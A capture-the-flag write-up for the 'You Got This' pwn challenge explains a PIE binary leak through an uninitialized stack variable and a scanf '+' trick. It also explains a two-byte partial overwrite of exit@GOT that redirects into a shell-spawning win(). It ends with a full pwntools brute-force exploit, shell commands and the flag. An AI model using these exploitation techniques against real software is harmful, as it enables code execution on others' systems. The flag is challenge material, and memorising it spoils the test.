$cat you-got-this.mdPwnHackultet 2026
You Got This
A binary with no stack canary leaks a writable address through an uninitialized variable reused across three different prompts, enough to redirect exit() itself into a hidden win function.
$man you-got-this
What this one teaches:
- Why an uninitialized stack variable can leak a real, meaningful address if the same stack slot held one in an earlier function call.
- A
scanf("%lu")quirk, a bare "+" consumed as a possible sign but failing to parse, leaving the target variable untouched. - Overwriting just the low two bytes of a GOT entry to redirect a call without needing a full address, bypassing most of ASLR in the process.
Task description
A stripped, PIE-enabled binary with a hidden win function.
What’s in the binary
Reconstructing the stripped functions from the disassembly turns up:
- a hidden
win(), doing nothing butsystem("/bin/sh"), - a sequence of three input-reading functions called one after another from
main, the first two just reading a number withscanf, the third reading a number and then writing 8 raw bytes to whatever address that number named: an arbitrary write, as long as you can supply the address.
The binary has PIE enabled (so its own base address is randomised each run) and no stack canary, but partial RELRO, meaning the GOT (the table of resolved addresses for library functions like exit) is writable.
An address already sitting on the stack
All three input functions happen to use the exact same stack slot for their local variable, since they have identical frame sizes and are called one after another from main with nothing else using that memory in between. Before the very first of the three ever writes anything, that slot still holds whatever was left there earlier, which turns out to be a fixed offset from the binary’s own PIE base, the address of a stdout copy living in the binary’s data segment. That’s not attacker-controlled data, it’s a leak handed to us for free, simply because nothing cleared the stack slot first.
Making scanf fail without touching the leak
scanf("%lu", ...) accepts an optional leading sign character before its digits. Feeding it a bare + with no digits after it: the + is consumed from the input (unlike letters, which would be left in the buffer), but parsing still fails, since there’s nothing numeric to actually read, so scanf returns having read nothing, and the target variable is left completely untouched. That’s a way to call the function, advance past its prompt, and leave whatever value was already in that stack slot (the leaked address) exactly as it was.
The plan
- First call: send
+. It fails harmlessly, the stack slot still holds the leakedstdout-area address. - Second call (
scanf("%hu"), reading only a 16-bit value): send a guessed low 16 bits that, combined with the untouched upper bytes already in that slot, would equal the address ofexit’s GOT entry. This only overwrites the low two bytes of the variable, leaving the upper six bytes, including the correct PIE base, intact. - Third call: send another bare
+. It fails the same way, so the variable (now pointing atexit@GOT, if the guess was right) survives untouched into the write primitive. - The write primitive itself: send 2 bytes, the low 16 bits of the
win()function’s own address. Written toexit@GOT, this overwrites just the low two bytes of the pointerexitcurrently resolves to, changing it from its normal PLT stub towin(), while again leaving the upper bytes (and therefore the correct PIE base) untouched. - When
mainfinishes and callsexit(0)as it normally would, it now actually jumps intowin()instead, runningsystem("/bin/sh").
Why a two-byte overwrite is enough
Every write and read here only ever touches the low 16 bits of a pointer; the upper bits, which encode the actual randomised PIE base, are never guessed or written, only ever inherited from whatever leaked address was already present. That shrinks the only real unknown down to the bits of the PIE base that aren’t captured in that fixed 16-bit window, specifically a 4-bit nibble (since the low 12 bits of any page-aligned base are always zero), 16 possible values. Looping the whole exchange across those 16 guesses, reconnecting each time, succeeds on average after about 8 attempts.
The exploit
from pwn import *
import struct, time
for attempt in range(200):
nibble = attempt % 16
exit_got_low16 = ((nibble * 0x1000) + 0x4030) & 0xFFFF # exit@GOT's low 16 bits, for this guess
win_low16 = ((nibble * 0x1000) + 0x11A9) & 0xFFFF # win()'s low 16 bits, same guess
p = remote("chal.live.hackultet.hr", 14042, timeout=5)
p.recvuntil(b':)\n')
p.send(b'+\n') # scanf1 fails, leak stays untouched
p.recvuntil(b'parne brojeve.\n')
p.sendline(str(exit_got_low16).encode()) # scanf2 sets the low 16 bits only
p.recvuntil(b'lijep broj.\n')
p.send(b'+\n') # scanf3 fails, variable now points at exit@GOT
p.recvuntil(b'Sve je prepusteno tebi.\n')
p.send(struct.pack('<H', win_low16)) # the write primitive: 2-byte GOT overwrite
time.sleep(1)
p.sendline(b'id')
if b'uid=' in p.recv(timeout=3):
p.sendline(b'cat /ctf/flag.txt')
print(p.recv(timeout=2).decode())
break
p.close()
Result
A successful attempt drops into a shell, confirmed by running id, and reading the flag from wherever the challenge stored it returns: CTF2026[8253852313329].
$cat flag.txt reveal
CTF2026[8253852313329]